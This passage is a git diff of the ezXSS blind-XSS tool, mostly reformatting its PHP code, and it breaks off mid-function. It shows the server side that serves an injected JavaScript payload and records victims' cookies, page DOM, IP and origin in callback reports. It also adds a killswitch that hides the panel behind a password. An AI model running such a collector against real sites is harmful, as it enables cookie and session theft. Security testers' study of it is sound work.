diff --git a/index.php b/index.php index 212c799f..100caa46 100644 --- a/index.php +++ b/index.php @@ -1,48 +1,47 @@ json(); + if ($path == 'request') { + $request = new Request(); + echo $request->json(); } else { - $route = new Route(); - echo $route->template($path); + $route = new Route(); + echo $route->template($path); } - - } else { +} else { $route = new Route(); - if($requestUrl == '/callback') { - if ($_SERVER['REQUEST_METHOD'] == 'POST') { - echo $route->callback(file_get_contents('php://input')); - } + if ($requestUrl == '/callback') { + if ($_SERVER['REQUEST_METHOD'] == 'POST') { + echo $route->callback(file_get_contents('php://input')); + } } - if($requestUrl == '/') { - header('Content-Type: application/x-javascript'); - echo $route->jsPayload(); + if ($requestUrl == '/') { + header('Content-Type: application/x-javascript'); + echo $route->jsPayload(); } - - } +} diff --git a/src/Autoload.php b/src/Autoload.php index 3c46091d..40ab065f 100644 --- a/src/Autoload.php +++ b/src/Autoload.php @@ -1,8 +1,8 @@ base32Characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'; + public function __construct() + { + $this->base32Characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'; } - public function domain() { - return htmlspecialchars($_SERVER['SERVER_NAME']); + public function screenshotPath($screenshotName) + { + return ''; } - public function screenshotPath($screenshotName) { - return ''; + public function domain() + { + return htmlspecialchars($_SERVER['SERVER_NAME']); } - public function getCode($secret) { - $secretKey = $this->baseDecode($secret); - $hash = hash_hmac('SHA1', chr(0) . chr(0) . chr(0) . chr(0) . pack('N*', floor(time() / 30)), $secretKey, true); - $value = unpack('N', substr($hash, ord(substr($hash, -1)) & 0x0F, 4)); - $value = $value[1] & 0x7FFFFFFF; - return str_pad($value % pow(10, 6), 6, '0', STR_PAD_LEFT); + public function getCode($secret) + { + $secretKey = $this->baseDecode($secret); + $hash = hash_hmac('SHA1', chr(0) . chr(0) . chr(0) . chr(0) . pack('N*', floor(time() / 30)), $secretKey, true); + $value = unpack('N', substr($hash, ord(substr($hash, -1)) & 0x0F, 4)); + $value = $value[1] & 0x7FFFFFFF; + return str_pad($value % pow(10, 6), 6, '0', STR_PAD_LEFT); } - private function baseDecode($data) { - $characters = $this->base32Characters; - $buffer = 0; - $bufferSize = 0; - $result = ''; - for ($i = 0; $i < strlen($data); $i++) { - $position = strpos($characters, $data[$i]); - $buffer = ($buffer << 5) | $position; - $bufferSize += 5; - if ($bufferSize > 7) { - $bufferSize -= 8; - $position = ($buffer & (0xff << $bufferSize)) >> $bufferSize; - $result .= chr($position); + private function baseDecode($data) + { + $characters = $this->base32Characters; + $buffer = 0; + $bufferSize = 0; + $result = ''; + for ($i = 0; $i < strlen($data); $i++) { + $position = strpos($characters, $data[$i]); + $buffer = ($buffer << 5) | $position; + $bufferSize += 5; + if ($bufferSize > 7) { + $bufferSize -= 8; + $position = ($buffer & (0xff << $bufferSize)) >> $bufferSize; + $result .= chr($position); + } } - } - return $result; + return $result; } - public function htmlBlocks($htmlBlock) { - if($htmlBlock == 'menu') { - return <<
@@ -55,7 +62,7 @@ public function htmlBlocks($htmlBlock) { @@ -70,10 +77,10 @@ public function htmlBlocks($htmlBlock) { HTML; - } + } - if($htmlBlock == 'menuHidden') { - return <<
@@ -86,17 +93,17 @@ public function htmlBlocks($htmlBlock) { HTML; - } + } - if($htmlBlock == 'main') { - return << @@ -119,19 +126,19 @@ public function htmlBlocks($htmlBlock) { HTML; - } + } - if($htmlBlock == 'searchBar') { - return << HTML; - } + } - if($htmlBlock == 'twofactorEnable') { - return <<
@@ -147,10 +154,10 @@ public function htmlBlocks($htmlBlock) { HTML; - } + } - if($htmlBlock == 'twofactorDisable') { - return <<

You already enabled 2FA. Enter the code to disable it.

@@ -163,19 +170,19 @@ public function htmlBlocks($htmlBlock) { HTML; - } + } - if($htmlBlock == 'twofactorLogin') { - return <<
HTML; - } + } - if($htmlBlock == 'reportList') { - return << {{report[id]}} @@ -202,10 +209,10 @@ public function htmlBlocks($htmlBlock) { {{report[ip]}} HTML; - } + } - if($htmlBlock == 'mail') { - return << @@ -288,7 +295,8 @@ public function htmlBlocks($htmlBlock) { HTML; - } + } + return ''; } - } +} diff --git a/src/Component.php b/src/Component.php index ad19c7d3..43320385 100644 --- a/src/Component.php +++ b/src/Component.php @@ -1,309 +1,370 @@ user = new User(); - $this->database = new Database(); - $this->basic = new Basic(); - - $this->releases = []; - $this->filterSave = ''; - $this->filterAlert = ''; - $this->reportInfo = []; - $this->secret = ''; - $this->base32Characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'; +class Component +{ + + public function __construct() + { + $this->user = new User(); + $this->database = new Database(); + $this->basic = new Basic(); + + $this->releases = []; + $this->filterSave = ''; + $this->filterAlert = ''; + $this->reportInfo = []; + $this->secret = ''; + $this->base32Characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'; } /** - * Get csrf-token of user - * @method csrf - * @param boolean $plain true/false - * @return string csrf-token - */ - public function csrf($plain = false) { - $csrf = $this->user->getCsrf(); - - return ($plain) ? $csrf : ""; + * Get csrf-token of user + * @method csrf + * @param boolean $plain true/false + * @return string CSRF token + */ + public function csrf($plain = false) + { + $csrf = $this->user->getCsrf(); + + return ($plain) ? $csrf : ""; } /** - * Get setting value - * @method setting - * @param string $name setting name - * @return string setting value - */ - public function setting($name) { - if($name == 'temp-secret') { - return $this->secret; - } - - $setting = $this->database->fetch('SELECT * FROM settings WHERE setting = :name LIMIT 1', [':name' => $name]); - return htmlspecialchars($setting['value'], ENT_QUOTES); + * Get twofactor login html block + * @method twofactorLogin + * @return string html + */ + public function twofactorLogin() + { + if (strlen($this->setting('secret')) == 16) { + return $this->basic->htmlBlocks('twofactorLogin'); + } } /** - * Get twofactor login html block - * @method twofactorLogin - * @return string html - */ - public function twofactorLogin() { - if(strlen($this->setting('secret')) == 16) { - return $this->basic->htmlBlocks('twofactorLogin'); - } + * Get setting value + * @method setting + * @param string $name setting name + * @return string setting value + */ + public function setting($name) + { + if ($name == 'temp-secret') { + return $this->secret; + } + + $setting = $this->database->fetch('SELECT * FROM settings WHERE setting = :name LIMIT 1', [':name' => $name]); + return htmlspecialchars($setting['value'], ENT_QUOTES); } /** - * Get statistics of amount of reports - * @method statistics - * @param string $branch which branch - * @return string count - */ - public function statistics($branch) { - switch($branch) { - case 'total' : - return ($this->database->fetch('SELECT COUNT(DISTINCT id) FROM reports', []))[0]; - break; - case 'week' : - return ($this->database->fetch('SELECT COUNT(DISTINCT id) FROM reports WHERE time > :time', [':time' => time()-604800]))[0]; - break; - case 'totaldomains' : - return ($this->database->fetch('SELECT COUNT(DISTINCT origin) FROM reports', []))[0]; - break; - case 'weekdomains' : - return ($this->database->fetch('SELECT COUNT(DISTINCT origin) FROM reports WHERE time > :time', [':time' => time()-604800]))[0]; - break; - case 'totalshared' : - return ($this->database->fetch('SELECT COUNT(DISTINCT id) FROM reports WHERE referer LIKE "Shared via %"', []))[0]; - break; - } - - if($branch == 'last') { - $last = $this->database->fetch('SELECT * FROM reports ORDER BY id DESC LIMIT 1'); - if(isset($last['id'])) { - $time = time() - $last['time']; - $syntaxText = 's'; - if($time > 60) { $time /= 60; $syntaxText = 'm'; } - if($time > 60) { $time /= 60; $syntaxText = 'h'; } - if($time > 24) { $time /= 24; $syntaxText = 'd'; } - return floor($time) . $syntaxText; - } else { - return 'never'; + * Get statistics of amount of reports + * @method statistics + * @param string $branch which branch + * @return string count + */ + public function statistics($branch) + { + switch ($branch) { + case 'total' : + return ($this->database->fetch('SELECT COUNT(DISTINCT id) FROM reports', []))[0]; + break; + case 'week' : + return ($this->database->fetch( + 'SELECT COUNT(DISTINCT id) FROM reports WHERE time > :time', + [':time' => time() - 604800] + ))[0]; + break; + case 'totaldomains' : + return ($this->database->fetch('SELECT COUNT(DISTINCT origin) FROM reports', []))[0]; + break; + case 'weekdomains' : + return ($this->database->fetch( + 'SELECT COUNT(DISTINCT origin) FROM reports WHERE time > :time', + [':time' => time() - 604800] + ))[0]; + break; + case 'totalshared' : + return ($this->database->fetch( + 'SELECT COUNT(DISTINCT id) FROM reports WHERE referer LIKE "Shared via %"', + [] + ))[0]; + break; } - } + if ($branch == 'last') { + $last = $this->database->fetch('SELECT * FROM reports ORDER BY id DESC LIMIT 1'); + if (isset($last['id'])) { + $time = time() - $last['time']; + $syntaxText = 's'; + if ($time > 60) { + $time /= 60; + $syntaxText = 'm'; + } + if ($time > 60) { + $time /= 60; + $syntaxText = 'h'; + } + if ($time > 24) { + $time /= 24; + $syntaxText = 'd'; + } + return floor($time) . $syntaxText; + } else { + return 'never'; + } + } } /** - * Get information about latests ezXSS release - * @method repoinfo - * @param string $key key - * @return string value - */ - public function repoInfo($key) { - if($this->releases === []) { - try { - $ch = curl_init('https://status.ezxss.com/?v=3.2'); - curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET'); - curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); - curl_setopt($ch, CURLOPT_HTTPHEADER, ['User-Agent: ezXSS']); - curl_setopt($ch, CURLOPT_TIMEOUT, 2); - $this->releases = json_decode(curl_exec($ch), true); - } catch(Exception $e) { - $this->releases = ['timeout']; + * Get ezXSS version + * @method version + * @return string version number + */ + public function version() { + return version; + } + + /** + * Get information about latests ezXSS release + * @method repoinfo + * @param string $key key + * @return string value + */ + public function repoInfo($key) + { + if ($this->releases === []) { + try { + $ch = curl_init('https://status.ezxss.com/?v=' . version); + curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET'); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_HTTPHEADER, ['User-Agent: ezXSS']); + curl_setopt($ch, CURLOPT_TIMEOUT, 2); + $this->releases = json_decode(curl_exec($ch), true); + } catch (Exception $e) { + $this->releases = ['timeout']; + } } - } - return htmlspecialchars($this->releases[0][$key]); + return htmlspecialchars($this->releases[0][$key]); } /** - * Returns selected if that are current filter options - * @method filterSelected - * @param string $id selected value - * @return string selected - */ - public function filterSelected($id) { - if($this->filterSave == '') { - $this->filterSave = $this->setting('filter-save'); - $this->filterAlert = $this->setting('filter-alert'); - } - - if($id == 1 && $this->filterSave == 1 && $this->filterAlert == 1) { - return 'selected'; - } - - if($id == 2 && $this->filterSave == 1 && $this->filterAlert == 0) { - return 'selected'; - } - - if($id == 3 && $this->filterSave == 0 && $this->filterAlert == 1) { - return 'selected'; - } - - if($id == 4 && $this->filterSave == 0 && $this->filterAlert == 0) { - return 'selected'; - } - - return ''; + * Returns selected if that are current filter options + * @method filterSelected + * @param string $id selected value + * @return string selected + */ + public function filterSelected($id) + { + if ($this->filterSave == '') { + $this->filterSave = $this->setting('filter-save'); + $this->filterAlert = $this->setting('filter-alert'); + } + + if ($id == 1 && $this->filterSave == 1 && $this->filterAlert == 1) { + return 'selected'; + } + + if ($id == 2 && $this->filterSave == 1 && $this->filterAlert == 0) { + return 'selected'; + } + + if ($id == 3 && $this->filterSave == 0 && $this->filterAlert == 1) { + return 'selected'; + } + + if ($id == 4 && $this->filterSave == 0 && $this->filterAlert == 0) { + return 'selected'; + } + + return ''; } /** - * Returns selected if that are current screenshot options - * @method screenshotSelected - * @param string $id selected value - * @return string selected - */ - public function screenshotSelected($id) { - $screenshot = $this->setting('screenshot'); - - if($id == 1 && $screenshot == 1) { - return 'selected'; - } - - if($id == 0 && $screenshot == 0) { - return 'selected'; - } - - return ''; + * Returns selected if that are current screenshot options + * @method screenshotSelected + * @param string $id selected value + * @return string selected + */ + public function screenshotSelected($id) + { + $screenshot = $this->setting('screenshot'); + + if ($id == 1 && $screenshot == 1) { + return 'selected'; + } + + if ($id == 0 && $screenshot == 0) { + return 'selected'; + } + + return ''; } /** - * Returns all reports of that page/search - * @method reportsList - * @param string $archive true/false - * @return string HTML of reports - */ - public function reportsList($archive) { - if(isset($_GET['search'])) { - $query = 'SELECT id,shareid,uri,ip,origin FROM reports WHERE uri LIKE :uri OR ip LIKE :ip OR origin LIKE :origin LIMIT :limit,50'; - $array = [':uri' => '%' . $_GET['search'] . '%', ':ip' => '%' . $_GET['search'] . '%', ':origin' => '%' . $_GET['search'] . '%', ':limit' => $this->page() * 50]; - } else { - $query = 'SELECT id,shareid,uri,ip,origin FROM reports WHERE archive = :archive ORDER BY id DESC LIMIT :limit,50'; - $array = [':archive' => $archive, ':limit' => $this->page() * 50]; - } - - $htmlTemplate = $this->basic->htmlBlocks('reportList'); - $html = ''; - - foreach($this->database->fetchAll($query, $array) as $report) { - $report['uri'] = strlen($report['uri']) > 80 ? substr($report['uri'], 0, 80) . '..' : $report['uri']; - $report['ip'] = strlen($report['ip']) > 15 ? substr($report['ip'], 0, 15) . '..' : $report['ip']; - $report['origin'] = strlen($report['origin']) > 20 ? substr($report['origin'], 0, 20) . '..' : $report['origin']; - - $tempHtml = $htmlTemplate; - preg_match_all('/{{(.*?)\[(.*?)\]}}/', $tempHtml, $matches); - foreach($matches[1] as $key => $value) { - $tempHtml = str_replace($matches[0][$key], htmlspecialchars($report["{$matches[2][$key]}"]), $tempHtml); + * Returns all reports of that page/search + * @method reportsList + * @param string $archive true/false + * @return string HTML of reports + */ + public function reportsList($archive) + { + if (isset($_GET['search'])) { + $query = 'SELECT id,shareid,uri,ip,origin FROM reports WHERE uri LIKE :uri OR ip LIKE :ip OR origin LIKE :origin LIMIT :limit,50'; + $array = [ + ':uri' => '%' . $_GET['search'] . '%', + ':ip' => '%' . $_GET['search'] . '%', + ':origin' => '%' . $_GET['search'] . '%', + ':limit' => $this->page() * 50 + ]; + } else { + $query = 'SELECT id,shareid,uri,ip,origin FROM reports WHERE archive = :archive ORDER BY id DESC LIMIT :limit,50'; + $array = [':archive' => $archive, ':limit' => $this->page() * 50]; } - $html .= $tempHtml; + $htmlTemplate = $this->basic->htmlBlocks('reportList'); + $html = ''; - } + foreach ($this->database->fetchAll($query, $array) as $report) { + $report['uri'] = strlen($report['uri']) > 80 ? substr($report['uri'], 0, 80) . '..' : $report['uri']; + $report['ip'] = strlen($report['ip']) > 15 ? substr($report['ip'], 0, 15) . '..' : $report['ip']; + $report['origin'] = strlen($report['origin']) > 20 ? substr( + $report['origin'], + 0, + 20 + ) . '..' : $report['origin']; + + $tempHtml = $htmlTemplate; + preg_match_all('/{{(.*?)\[(.*?)\]}}/', $tempHtml, $matches); + foreach ($matches[1] as $key => $value) { + $tempHtml = str_replace($matches[0][$key], htmlspecialchars($report["{$matches[2][$key]}"]), $tempHtml); + } + + $html .= $tempHtml; + } - return $html; + return $html; } /** - * Gets and returns information about a report - * @method report - * @param string $key key of what is needed - * @return string value of key - */ - public function report($key) { - if($this->reportInfo === []) { - $id = explode('/', $_SERVER['REQUEST_URI'])[3]; - - if(is_numeric($id)) { - if(!$this->user->isLoggedIn()) { - return header('Location: /manage/login'); - } - $this->reportInfo = $this->database->fetch('SELECT * FROM reports WHERE id = :id LIMIT 1', [':id' => $id]); - } else { - $this->reportInfo = $this->database->fetch('SELECT * FROM reports WHERE shareid = :id LIMIT 1', [':id' => $id]); + * Returns page number + * @method page + * @param bool $navigation true/false + * @return string page number + */ + public function page($navigation = false) + { + $page = (isset($_GET['page'])) ? (int)trim(htmlspecialchars($_GET['page'])) : 0; + + switch ($navigation) { + case '+' : + ++$page; + break; + case '-' : + --$page; + break; } - if(!isset($this->reportInfo['id'])) { - return header('Location: /manage/reports'); + if ($page < 0) { + $page = 0; } - } - if(isset($this->reportInfo[$key])) { - return ($key == 'time') ? date("F j, Y, g:i a", $this->reportInfo[$key]) : htmlspecialchars($this->reportInfo[$key]); - } + return $page; } /** - * Provides the searchbar html - * @method searchBar - * @return string search bar html - */ - public function searchBar() { - if($this->user->isLoggedIn()) { - $html = str_replace('{{searchQuery}}', $this->searchQuery(0), $this->basic->htmlBlocks('searchBar')); - } else { - $html = ''; - } + * Gets and returns information about a report + * @method report + * @param string $key key of what is needed + * @return string value of key + */ + public function report($key) + { + if ($this->reportInfo === []) { + $id = explode('/', $_SERVER['REQUEST_URI'])[3]; + + if (is_numeric($id)) { + if (!$this->user->isLoggedIn()) { + return header('Location: /manage/login'); + } + $this->reportInfo = $this->database->fetch( + 'SELECT * FROM reports WHERE id = :id LIMIT 1', + [':id' => $id] + ); + } else { + $this->reportInfo = $this->database->fetch( + 'SELECT * FROM reports WHERE shareid = :id LIMIT 1', + [':id' => $id] + ); + } + + if (!isset($this->reportInfo['id'])) { + return header('Location: /manage/reports'); + } + } - return $html; + if (isset($this->reportInfo[$key])) { + return ($key == 'time') ? date("F j, Y, g:i a", $this->reportInfo[$key]) : htmlspecialchars( + $this->reportInfo[$key] + ); + } } /** - * Provides the search query - * @method searchQuery - * @param string $navigation true/false - * @return string search query - */ - public function searchQuery($navigation) { - if(isset($_GET['search'])) { - if($navigation == true) { - return '&search=' . htmlspecialchars($_GET['search']); + * Provides the search bar html + * @method searchBar + * @return string search bar html + */ + public function searchBar() + { + if ($this->user->isLoggedIn()) { + $html = str_replace('{{searchQuery}}', $this->searchQuery(0), $this->basic->htmlBlocks('searchBar')); } else { - return htmlspecialchars($_GET['search']); + $html = ''; } - } + + return $html; } /** - * Provides html blocks of twofactor settings - * @method twofactorSettings - * @return string html - */ - public function twofactorSettings() { - $secretCheck = $this->database->fetch('SELECT * FROM settings WHERE setting = "secret"'); - - if(strlen($secretCheck['value']) != 16) { - if($this->secret == '') { - for ($i = 0; $i < 16; $i++) { - $this->secret .= $this->base32Characters[rand(0, 31)]; - } + * Provides the search query + * @method searchQuery + * @param string $navigation true/false + * @return string search query + */ + public function searchQuery($navigation) + { + if (isset($_GET['search'])) { + if ($navigation === true) { + return '&search=' . htmlspecialchars($_GET['search']); + } + + return htmlspecialchars($_GET['search']); } - $html = str_replace('{{secret}}', $this->secret, $this->basic->htmlBlocks('twofactorEnable')); - } else { - $html = $this->basic->htmlBlocks('twofactorDisable'); - } - - return $html; } /** - * Returns page number - * @method page - * @param string $navigation true/false - * @return string page number - */ - public function page($navigation = false) { - $page = (isset($_GET['page'])) ? intval(trim(htmlspecialchars($_GET['page']))) : 0; - - switch($navigation) { - case '+' : $page += 1; break; - case '-' : $page -= 1; break; - } - - if($page < 0) { - $page = 0; - } - - return $page; + * Provides html blocks of twofactor settings + * @method twofactorSettings + * @return string html + */ + public function twofactorSettings() + { + $secretCheck = $this->database->fetch('SELECT * FROM settings WHERE setting = "secret"'); + + if (strlen($secretCheck['value']) !== 16) { + if ($this->secret == '') { + for ($i = 0; $i < 16; $i++) { + $this->secret .= $this->base32Characters[rand(0, 31)]; + } + } + $html = str_replace('{{secret}}', $this->secret, $this->basic->htmlBlocks('twofactorEnable')); + } else { + $html = $this->basic->htmlBlocks('twofactorDisable'); + } + + return $html; } - } +} diff --git a/src/Database.php b/src/Database.php index 60d2b6e6..e1c67333 100644 --- a/src/Database.php +++ b/src/Database.php @@ -1,99 +1,111 @@ DB = new PDO('mysql:host='. $this->databaseHost .';dbname='. $this->databaseName, $this->databaseUser, $this->databasePassword); - } catch(PDOException $e) { - if(debug == true) { - print $e->getMessage(); + * Try to connect to database + * @method __construct + */ + public function __construct() + { + try { + $this->DB = new PDO( + 'mysql:host=' . $this->databaseHost . ';dbname=' . $this->databaseName, + $this->databaseUser, + $this->databasePassword + ); + } catch (PDOException $e) { + if (debug == true) { + print $e->getMessage(); + } } - } } /** - * Send a basic SQL query - * @method query - * @param string $query SQL query - * @return array result of query - */ - public function query($query) { - return $this->DB->query($query); + * Send a basic SQL query + * @method query + * @param string $query SQL query + * @return false|PDOStatement + */ + public function query($query) + { + return $this->DB->query($query); } /** - * Fetch one row with query - * @method fetch - * @param string $query SQL query - * @param string $array Array with bind values - * @return array result of query - */ - public function fetch($query, $array = []) { - $fetch = $this->DB->prepare($query); - $fetch->execute($array); - return $fetch->fetch(); + * Return last id from query + * @method lastInsertId + * @param string $query SQL query + * @param array $array Array with bind values + * @return string result of query + */ + public function lastInsertId($query, $array = []) + { + $lastInsertId = $this->DB->prepare($query); + $lastInsertId->execute($array); + return $this->DB->lastInsertId(); } /** - * Return last id from query - * @method lastInsertId - * @param string $query SQL query - * @param string $array Array with bind values - * @return array result of query - */ - public function lastInsertId($query, $array = []) { - $lastInsertId = $this->DB->prepare($query); - $lastInsertId->execute($array); - return $this->DB->lastInsertId(); + * Fetch all rows with query + * @method fetchAll + * @param string $query SQL query + * @param array $array Array with bind values + * @return array result of query + */ + public function fetchAll($query, $array = []) + { + $this->DB->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); + $fetchAll = $this->DB->prepare($query); + $fetchAll->execute($array); + return $fetchAll->fetchAll(); } /** - * Fetch all rows with query - * @method fetchAll - * @param string $query SQL query - * @param string $array Array with bind values - * @return array result of query - */ - public function fetchAll($query, $array = []) { - $this->DB->setAttribute( PDO::ATTR_EMULATE_PREPARES, false ); - $fetchAll = $this->DB->prepare($query); - $fetchAll->execute($array); - return $fetchAll->fetchAll(); + * Return row count of query + * @method rowCount + * @param string $query SQL query + * @param array $array Array with bind values + * @return int result of query + */ + public function rowCount($query, $array = []) + { + $rowCount = $this->DB->prepare($query); + $rowCount->execute($array); + return $rowCount->rowCount(); } /** - * Return row count of query - * @method rowCount - * @param string $query SQL query - * @param string $array Array with bind values - * @return array result of query - */ - public function rowCount($query, $array = []) { - $rowCount = $this->DB->prepare($query); - $rowCount->execute($array); - return $rowCount->rowCount(); + * Return value of setting + * @method fetchSetting + * @param string $setting Setting name + * @return string Setting value + */ + public function fetchSetting($setting) + { + $query = $this->fetch('SELECT value FROM settings WHERE setting = :setting LIMIT 1', [':setting' => $setting]); + return $query[0]; } /** - * Return value of setting - * @method fetchSetting - * @param string $setting Setting name - * @return string Setting value - */ - public function fetchSetting($setting) { - $query = $this->fetch('SELECT value FROM settings WHERE setting = :setting LIMIT 1', [':setting' => $setting]); - return $query[0]; + * Fetch one row with query + * @method fetch + * @param string $query SQL query + * @param array $array Array with bind values + * @return array result of query + */ + public function fetch($query, $array = []) + { + $fetch = $this->DB->prepare($query); + $fetch->execute($array); + return $fetch->fetch(); } - } +} diff --git a/src/Request.php b/src/Request.php index 5d363a72..3f6cafa4 100644 --- a/src/Request.php +++ b/src/Request.php @@ -1,99 +1,120 @@ user = new User(); + * Default values stored + * @method __construct + */ + public function __construct() + { + $this->user = new User(); } /** - * Sends request to function and returns json - * @method json - * @return string converted json value - */ - public function json() { - if($this->user->getCsrf() != $this->post('csrf')) { - return $this->convert('CSRF token is not valid'); - } + * Sends request to function and returns json + * @method json + * @return string converted json value + */ + public function json() + { + if ($this->user->getCsrf() != $this->post('csrf')) { + return $this->convert('CSRF token is not valid'); + } - if(!$this->user->isLoggedIn() && $this->post('action') != 'login' && $this->post('action') != 'install') { - return $this->convert('You need to be logged in to perform this action.'); - } + if (!$this->user->isLoggedIn() && $this->post('action') != 'login' && $this->post('action') != 'install') { + return $this->convert('You need to be logged in to perform this action.'); + } - switch($this->post('action')) { - case 'login' : - return $this->convert( $this->user->login( $this->post('password'), $this->post('code') ) ); - break; - case 'install' : - return $this->convert( $this->user->install( $this->post('password'), $this->post('email') ) ); - break; - case 'notepad-settings' : - return $this->convert( $this->user->notepad( $this->post('notepad') ) ); - break; - case 'main-settings' : - return $this->convert( $this->user->settings( $this->post('email'), $this->post('dompart'), $this->post('timezone'), $this->post('payload') ) ); - break; - case 'password-settings' : - return $this->convert( $this->user->password( $this->post('password'), $this->post('newpassword'), $this->post('newpassword2') ) ); - break; - case 'filter-settings' : - return $this->convert( $this->user->filter( $this->post('filter') ) ); - break; - case 'screenshot-settings' : - return $this->convert( $this->user->screenshot( $this->post('screenshot') ) ); - break; - case 'block-settings' : - return $this->convert( $this->user->blockDomains( $this->post('domains') ) ); - break; - case 'payload-settings' : - return $this->convert( $this->user->payload( $this->post('customjs') ) ); - break; - case 'twofactor-settings' : - return $this->convert( $this->user->twofactor( $this->post('secret'), $this->post('code') ) ); - break; - case 'archive-report' : - return $this->convert( $this->user->archiveReport( $this->post('id'), $this->post('archive') ) ); - break; - case 'delete-report' : - return $this->convert( $this->user->deleteReport( $this->post('id') ) ); - break; - case 'share-report' : - return $this->convert( $this->user->shareReport( $this->post('reportid'), $this->post('domain') ) ); - break; - default : - return $this->convert( 'This action does not exists.' ); - break; - } + switch ($this->post('action')) { + case 'login' : + return $this->convert($this->user->login($this->post('password'), $this->post('code'))); + break; + case 'install' : + return $this->convert($this->user->install($this->post('password'), $this->post('email'))); + break; + case 'notepad-settings' : + return $this->convert($this->user->notepad($this->post('notepad'))); + break; + case 'main-settings' : + return $this->convert( + (array)$this->user->settings( + $this->post('email'), + $this->post('dompart'), + $this->post('timezone'), + $this->post('payload') + ) + ); + break; + case 'password-settings' : + return $this->convert( + $this->user->password( + $this->post('password'), + $this->post('newpassword'), + $this->post('newpassword2') + ) + ); + break; + case 'filter-settings' : + return $this->convert($this->user->filter($this->post('filter'))); + break; + case 'screenshot-settings' : + return $this->convert($this->user->screenshot($this->post('screenshot'))); + break; + case 'block-settings' : + return $this->convert($this->user->blockDomains($this->post('domains'))); + break; + case 'payload-settings' : + return $this->convert($this->user->payload($this->post('customjs'))); + break; + case 'twofactor-settings' : + return $this->convert($this->user->twofactor($this->post('secret'), $this->post('code'))); + break; + case 'archive-report' : + return $this->convert($this->user->archiveReport($this->post('id'), $this->post('archive'))); + break; + case 'delete-report' : + return $this->convert($this->user->deleteReport($this->post('id'))); + break; + case 'share-report' : + return $this->convert($this->user->shareReport($this->post('reportid'), $this->post('domain'))); + break; + case 'killswitch' : + return $this->convert($this->user->killSwitch($this->post('pass'))); + break; + default : + return $this->convert('This action does not exists.'); + break; + } } /** - * Convert a string or array to a JSON string - * @method post - * @param array $array array or string - * @return string json value - */ - private function convert($array) { - if(!is_array($array)) { - return json_encode(['echo' => $array]); - } - - $array['echo'] = (isset($array['echo'])) ? $array['echo'] : false; - $array['redirect'] = (isset($array['redirect'])) ? $array['redirect'] : false; - return json_encode($array); + * Get value of post + * @method post + * @param string $key key + * @return string value + */ + private function post($key) + { + return (isset($_POST[$key])) ? $_POST[$key] : ''; } /** - * Get value of post - * @method post - * @param string $key key - * @return string value - */ - private function post($key) { - return (isset($_POST[$key])) ? $_POST[$key] : ''; + * Convert a string or array to a JSON string + * @method post + * @param array $array array or string + * @return string json value + */ + private function convert($array) + { + if (!is_array($array)) { + return json_encode(['echo' => $array]); + } + + $array['echo'] = (isset($array['echo'])) ? $array['echo'] : false; + $array['redirect'] = (isset($array['redirect'])) ? $array['redirect'] : false; + return json_encode($array); } - } +} diff --git a/src/Route.php b/src/Route.php index b28d89ea..ae2b7a70 100644 --- a/src/Route.php +++ b/src/Route.php @@ -1,204 +1,301 @@ validTemplates = [ 'login', 'dashboard', 'install', 'settings', 'payload', 'reports', 'archive', 'report' ]; - - $this->user = new User(); - $this->database = new Database(); - $this->component = new Component(); - $this->basic = new Basic(); - - if(!empty($this->database->fetchSetting('timezone'))) { - date_default_timezone_set($this->database->fetchSetting('timezone')); - } else { - date_default_timezone_set('Europe/Amsterdam'); - } - } + * Default values stored + * @method __construct + */ + function __construct() + { + $this->validTemplates = [ + 'login', + 'dashboard', + 'install', + 'settings', + 'payload', + 'reports', + 'archive', + 'report' + ]; + + $this->user = new User(); + $this->database = new Database(); + $this->component = new Component(); + $this->basic = new Basic(); + + if(!empty($this->database->fetchSetting('killswitch'))) { + if(isset($_GET['pass']) && $_GET['pass'] === $this->database->fetchSetting('killswitch')) { + $this->database->query("UPDATE settings SET value = '' WHERE setting = 'killswitch';"); + } else { + http_response_code(404); + exit(); + } + } - /** - * Check if template request is valid and return, else redirect - * @method template - * @param string $file Requested file link - * @return string HTML for page - */ - public function template($file) { - - if(!in_array($file, $this->validTemplates) || $file == '') { - return $this->redirect('login'); - } - - if($file == 'report' && isset(explode('/', $_SERVER['REQUEST_URI'])[4])) { - return $this->redirect('reports'); - } - - if($this->user->isLoggedIn() && ($file == 'login' || $file == 'install')) { - return $this->redirect('dashboard'); - } - - if(!$this->user->isLoggedIn() && $file != 'login' && $file != 'install' && $file != 'report') { - return $this->redirect('login'); - } - - if($file == 'report' && ((is_numeric(explode('/', $_SERVER['REQUEST_URI'])[3]) && !$this->user->isLoggedIn()) || empty(explode('/', $_SERVER['REQUEST_URI'])[3]))) { - return $this->redirect('login'); - } - - if(!$this->database->rowCount('SELECT * FROM settings') > 0 && $file != 'install') { - return $this->redirect('install'); - } - - if($this->database->rowCount('SELECT * FROM settings') > 0 && $file == 'install') { - return $this->redirect('login'); - } - - return $this->parseTemplate($file); + if (!empty($this->database->fetchSetting('timezone'))) { + date_default_timezone_set($this->database->fetchSetting('timezone')); + } else { + date_default_timezone_set('Europe/Amsterdam'); + } } /** - * Puts callback info in database and sends out mail - * @method callback - * @param string $phpInput POST information - * @return string github.com/ssl/ezXSS - */ - public function callback($phpInput) { - $json = json_decode($phpInput); - - $setting = []; - foreach($this->database->query('SELECT * FROM settings') as $settings) { - $setting[$settings['setting']] = $settings['value']; - } - - $userIp = isset($json->shared) ? $json->ip : (isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR']); - $domain = htmlspecialchars($_SERVER['SERVER_NAME']); - $json->origin = str_replace(['https://', 'http://'], '', $json->origin); - - if($json->origin == $setting['blocked-domains'] || in_array($json->origin, explode(',', $setting['blocked-domains']))) { - return 'github.com/ssl/ezXSS'; - } - - $doubleReport = false; - if($setting['filter-save'] == 0 || $setting['filter-alert'] == 0) { - $searchCommonReport = $this->database->fetch('SELECT * FROM reports WHERE cookies = :cookies AND dom = :dom AND origin = :origin AND referer = :referer AND uri = :uri AND `user-agent` = :userAgent AND ip = :ip LIMIT 1', [':cookies' => $json->cookies, ':dom' => $json->dom, ':origin' => $json->origin, 